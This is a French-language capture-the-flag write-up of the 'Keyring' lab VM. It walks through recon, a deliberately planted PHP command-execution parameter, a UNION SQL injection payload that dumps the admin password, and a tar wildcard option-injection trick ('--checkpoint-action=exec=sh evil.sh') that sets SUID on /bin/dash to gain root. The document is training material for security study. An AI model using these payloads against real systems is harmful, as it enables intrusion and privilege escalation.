Pollution de CTF
Le CTF IA: Keyring était intéressant. J’ai tout de même perdu du temps sur une fausse piste ainsi qu’une vraie vulnérabilité qui s’est avérée non exploitable.
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -T5 -p- 192.168.56.117
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.56.117
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:3B:14:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
La base du site, c’est un simple formulaire d’enregistrement. On peut penser au début qu’on peut aussi se connecter, car il y a les boutons login
et signup
, mais le premier ne fait que rediriger vers la page courante.
Je commence par lancer Wapiti sur le site avec tous les modules. Au mieux, il trouvera une faille dans le système d’inscription, au pire, il me trouvera des fichiers supplémentaires :
1
wapiti -u http://192.168.56.117/ --color -m all
Je trouve une liste de scripts :
1
2
3
4
5
6
7
8
[*] Launching module buster
Found webpage http://192.168.56.117/index.php
Found webpage http://192.168.56.117/login.php
Found webpage http://192.168.56.117/home.php
Found webpage http://192.168.56.117/history.php
Found webpage http://192.168.56.117/logout.php
Found webpage http://192.168.56.117/about.php
Found webpage http://192.168.56.117/control.php
Ces scripts semblent nécessiter une authentification, sauf peut-être history.php
qui me répond can't find this user's activity
. J’ai tenté de brute-forcer des noms de paramètres, mais n’ai rien trouvé.
Par conséquence, j’ai créé un compte sur l’appli. Sur control.php
on peut lire le message suivant :
HTTP Parameter Pollution or HPP in short is a vulnerability that occurs due to passing of multiple parameters having same name
Seulement, peu de paramètres sont attendus par les scripts présents. J’ai tout de même tenté le doubler le paramètre uname
sur le script de login dans l’espoir d’accèder au compte admin
(le compte existe, car si on tente de l’enregistrer, on obtient une erreur).
C’est après pas mal d’errances que je me suis rendu compte que le script history.php
, bien que retournant un message sans authentification, disposait d’un paramètre user
non documenté qui n’était traité que si on était connecté.
Pour le trouver, j’ai juste testé quelques paramètres “à la main”. uname
me semblait plus prometteur, car c’est le terme utilisé dans les autres scripts. L’important, c’est d’avancer.
Ainsi la page http://192.168.56.117/history.php?user=admin
retournait ce message :
1
2
3
Pages visited by user admin
https://github.com/cyberbot75/keyring
Le répo Github existe bien, et on trouve le code source de l’application.
J’avais toujours la tête dans le guidon à propos de cette histoire de HPP donc j’ai fouillé d’abord cette piste.
On peut retourner sur le script control.php
qui est visiblement l’objectif en raison du RCE présent :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if(isset($_SESSION['name']))
{
$servername = "localhost";
$username = "root";
$password = "sqluserrootpassw0r4";
$database = "users";
$conn = mysqli_connect($servername, $username, $password, $database);
$name = $_SESSION['name'];
$date = date('Y-m-d H:i:s');
echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name";
$sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')";
if(mysqli_query($conn,$sql))
{
echo "<br><br>";
echo "Date & Time : ".$date;
}
system($_GET['cmdcntr']); //system() function is not safe to use , dont' forget to remove it in production .
}
else
{
header('Location: index.php');
}
?>
À regarder ce code, on a l’impression qu’il suffit de passer le paramètre cmdcntr
et c’est gagné. En vrai, on doit plutôt être proche de cette version qui s’assure que l’utilisateur est admin
.
Le nom d’utilisateur provenant de l’objet $_SESSION
, on doit se tourner vers le script de login pour savoir comment c’est remplit :
1
2
3
4
5
6
7
8
9
10
11
12
13
$us = mysqli_real_escape_string($conn,$_POST['uname']);
$pa = mysqli_real_escape_string($conn,$_POST['upass']);
$sql = "select name from details where name='$us' and password='$pa'";
$res = mysqli_query($conn,$sql);
if(mysqli_num_rows($res)>0)
{
while($row = mysqli_fetch_assoc($res))
{
$_SESSION['name'] = $row['name'];
header('Location: home.php');
}
}
Bon, le script est bizarre avec sa boucle qui écrit dans $_SESSION
, mais il est secure.
Voyons voir si on peut créer deux utilisateurs admin
avec le script index.php
:
1
2
3
4
5
6
7
8
9
10
11
$us = mysqli_real_escape_string($conn,$_POST['uname']);
$pa = mysqli_real_escape_string($conn,$_POST['upass']);
$sql = "insert into details (name,password) values('$us','$pa')";
if (mysqli_query($conn,$sql))
{
echo "<script>alert('User registered successfully')</script>";
}
else
{
echo "<script>alert('User already registered!')</script>";
}
Là encore, c’est secure et comme vu plus tôt, on avait un message spécifique si on tentait d’enregistrer admin
.
Second-order tombe à l’eau
Les autres scripts ont tous une fonctionnalité de surveillance de l’activité des utilisateurs. Ça ressemble à ceci :
1
2
3
4
$name = $_SESSION['name'];
$date = date('Y-m-d H:i:s');
$sql = "insert into log (name , page_visited , date_time) values ('$name','home','$date')";
Cette fois, on a une vraie vulnérabilité, une second-order injection !
À la création, notre nom d’utilisateur sera enregistré proprement, mais ces scripts l’extraient pour l’utiliser de la mauvaise façon, permettant une injection.
Mon idée est alors d’injecter des données dans la requête pour obtenir quelque chose comme ça :
1
INSERT INTO log (name, page_visited, date_time) VALUES ('yolo', (SELECT password FROM details WHERE name='admin'), 0); -- ','home','$date')";
Et ainsi, quand j’accèderai à history.php
(qui dump la table log
), je retrouverais le mot de passe de admin
. Ouais, ça va être bien.
Malheureusement l’exploitation a échoué. C’est ce que je craignais : le nom d’utilisateur est limité dans la taille. J’ai effectué des tests simples en répétant le même caractère et j’ai compris que la limite était de 20 caractères.
Il a été bénit par la grâce
J’ai finalement eu la révélation que history.php
était lui-même vulnérable à une injection SQL. Son code n’est pas présent sur Github mais un test simple permettait de s’en assurer.
J’ai pu dumper facilement le mot de passe en passant cette valeur pour user
:
1
' union select password from details where name='admin' #
Et j’ai ainsi obtenu :
1
2
3
Pages visited by user ' union select password from details where name='admin' #
myadmin#p4szw0r4d
A l’aide de ce mot de passe, on peut se connecter en admin à l’application web, et donc accéder à l’exécution de commande.
Une fois un shell obtenu, je trouve un autre utilisateur dans la table SQL :
1
2
3
4
5
6
7
mysql> select password from details where name="john";
+-----------------------+
| password |
+-----------------------+
| Sup3r$S3cr3t$PasSW0RD |
+-----------------------+
1 row in set (0.28 sec)
J’aurais pu gagner du temps en dumpant toute la base plus tôt.
Cet utilisateur a un binaire setuid dans son dossier personnel :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
john@keyring:~$ ls -al
total 48
drwxr-x--- 3 john john 4096 Jun 30 19:34 .
drwxr-xr-x 3 root root 4096 Jun 7 2021 ..
lrwxrwxrwx 1 john john 9 Jun 20 2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 Jun 7 2021 .bash_logout
-rw-r--r-- 1 john john 3771 Jun 7 2021 .bashrc
-rwsr-xr-x 1 root root 16784 Jun 20 2021 compress
drwx------ 3 john john 4096 Jun 30 19:34 .gnupg
-rw-r--r-- 1 john john 807 Jun 7 2021 .profile
-rw-rw-r-- 1 john john 192 Jun 20 2021 user.txt
john@keyring:~$ cat user.txt
[ Keyring - User Owned ]
----------------------------------------------
Flag : VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
----------------------------------------------
by infosecarticles with <3
Le binaire n’a pas de message d’aide, mais semble créer une archive tar avec les fichiers du dossier courant :
1
2
3
4
5
6
john@keyring:~$ ./compress -h
john@keyring:~$ ls
archive.tar compress user.txt
john@keyring:~$ tar vtf archive.tar
-rwsr-xr-x root/root 16784 2021-06-20 11:25 compress
-rw-rw-r-- john/john 192 2021-06-20 14:24 user.txt
La commande strings
n’est pas présente, mais on peut utiliser grep
pour voir ce qu’il fait :
1
2
3
4
5
6
7
8
9
10
john@keyring:~$ grep -a -o '[[:print:]]\+' compress | grep tar
__libc_start_main
__gmon_start__
/bin/tar cf archive.tar *
tar.c
__init_array_start
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__bss_start
Le path de tar
est absolu, pas d’exploitation de ce côté-là.
Par défaut, tar
ne suit pas les liens symboliques.
1
2
3
4
5
6
john@keyring:~$ ln -s /etc/shadow shadow
john@keyring:~$ ./compress
john@keyring:~$ tar vtf archive.tar
-rwsr-xr-x root/root 16784 2021-06-20 11:25 compress
lrwxrwxrwx john/john 0 2025-06-30 19:39 shadow -> /etc/shadow
-rw-rw-r-- john/john 192 2021-06-20 14:24 user.txt
Lucky Star
On pourrait sans doute tricher là dessus, mais on va plutôt procéder à une injection d’option similaire au CTF /dev/random: Pipe.
J’ai d’abord créé un script evil.sh
puis nommé quelques fichiers après des options. Quand je lance compress
, le binaire lance tar
depuis bash
. Ce dernier voit la présence du caractère *
dans la commande /bin/tar cf archive.tar *
et va remplacer le caractère par les fichiers présents. Certains noms correspondant à des options, tar
les interprète comme tel :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
john@keyring:~$ cat evil.sh
#!/bin/bash
chmod 4755 /bin/dash
john@keyring:~$ touch -- "--checkpoint=1"; touch -- "--checkpoint-action=exec=sh evil.sh"
john@keyring:~$ ./compress
john@keyring:~$ ls -al /bin/dash
-rwsr-xr-x 1 root root 121432 Jan 25 2018 /bin/dash
john@keyring:~$ dash -p
# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
# cd /root
# ls
root.txt
# cat root.txt
[ Keyring - Rooted ]
---------------------------------------------------
Flag : VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=
---------------------------------------------------
by infosecarticles with <3